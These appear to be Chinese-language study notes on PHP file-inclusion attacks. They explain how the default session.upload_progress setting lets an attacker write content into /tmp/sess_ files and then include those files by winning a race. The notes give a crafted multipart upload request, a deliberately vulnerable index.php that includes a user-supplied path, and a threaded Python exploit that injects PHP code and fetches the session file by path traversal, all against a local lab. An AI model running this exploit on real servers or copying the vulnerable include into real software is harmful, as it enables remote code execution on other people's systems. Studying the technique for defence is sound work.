文件包含小结

梳理和总结了一下最近学的东西~

包含SESSION文件

p师傅小密圈里学到了一种文件包含getshell的利用思路:文件包含漏洞在找不到可包含的文件,可以包含session文件从而getshell。

默认情况下,session.use_strict_mode值是0。此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=zsxqzsxq,PHP将会在服务器上创建一个文件:/tmp/sess_zsxqzsxq

在phpmyadmin 4.8.1 文件包含漏洞(CVE-2018-12613)中利用了这个思路从文件包含到getshell

该技巧利用条件:服务器上需要已经初始化Session

通用的初始化方法:session_start()

p师傅在小密圈解读phpinfo学到了其他的初始化session思路:https://t.zsxq.com/2nQbAYr

配置项:session.auto_start
如果开启这个选项,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,也是通常情况下,这个选项都是关闭的。

配置项:session.upload_progress
最初是PHP为上传进度条设计的一个功能,在上传文件较大的情况下,PHP将进行流式上传,并将进度信息放在Session中(包含用户可控的值),即使此时用户没有初始化Session,PHP也会自动初始化Session。默认情况下session.upload_progress.enabled是为On的。

所以可以利用这点我们可以构造如下数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
POST /test.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 436
Cache-Control: max-age=0
Origin: https://127.0.0.1
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryetzSsuG4Wg73Ob9R
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.9d Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: https://127.0.0.1/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: PHPSESSID=passer6y
Connection: close

------WebKitFormBoundaryetzSsuG4Wg73Ob9R
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
Content-Type: text/plain

aaaa
------WebKitFormBoundaryetzSsuG4Wg73Ob9R
Content-Disposition: form-data; name="file"; filename="flag.txt"
Content-Type: text/plain

flag
------WebKitFormBoundaryetzSsuG4Wg73Ob9R
Content-Disposition: form-data; name="submit"

Submit
------WebKitFormBoundaryetzSsuG4Wg73Ob9R--

image_1d4mqlr5rb3f11ig18kp1m5g1bm816.png-399.7kB

从上图看到,我们创建了一个名为sess_passer6y,但是文件内容大小是0,因为上传结束后,这个Session将会被自动清除(由session.upload_progress.cleanup定义),我们只需要条件竞争,赶在文件被清除前利用即可。

所以,只要存在一个文件包含漏洞,我们就可以利用这些默认的特性来Getshell:

复现环境:php 7.0.21

index.php

1
2
3
4
<?php
if (isset($_GET['file'])) {
include './' . $_GET['file'];
}

构造以下两个数据包,发送到爆破模块,null payload爆破即可
image_1d4mr14ca15lq1aug8q5d7b25e1j.png-44.3kB
image_1d4mr1jv5brknqsbkm8lf53h2g.png-83kB

不可取.. 这种方法会造成大量session临时文件

还是用p师傅给的exp吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import io
import requests
import threading

sessid = 'passer6y'


def t1(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
response = session.post(
'https://localhost/test.php',
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?=phpinfo()?>'},
files={'file': ('a.txt', f)},
cookies={'PHPSESSID': sessid}
)


def t2(session):
while True:
response = session.get(f'https://127.0.0.1/index.php?file=../../../../../../../../tmp/sess_{sessid}')
print(response.text)


with requests.session() as session:
t1 = threading.Thread(target=t1, args=(session, ))
t1.daemon = True
t1.start()

t2(session)

image_1d4msr4rcsshjqsoaj16bv1iao9.png-256.8kB

参考:
phpmyadmin 4.8.1 文件包含漏洞

配合phpinfo,包含上传临时文件

参考笔记: https://app.yinxiang.com/shard/s17/sh/e1cdae4e-d4c3-4595-8bfb-03eff04c4cdb/6b917c87b16133fbcbd60070b579ef2f

包含日志

参考笔记: https://app.yinxiang.com/shard/s17/sh/e1cdae4e-d4c3-4595-8bfb-03eff04c4cdb/6b917c87b16133fbcbd60070b579ef2f

自包含漏洞

参考笔记: https://app.yinxiang.com/shard/s17/sh/e1cdae4e-d4c3-4595-8bfb-03eff04c4cdb/6b917c87b16133fbcbd60070b579ef2f

参考文章:https://www.anquanke.com/post/id/153376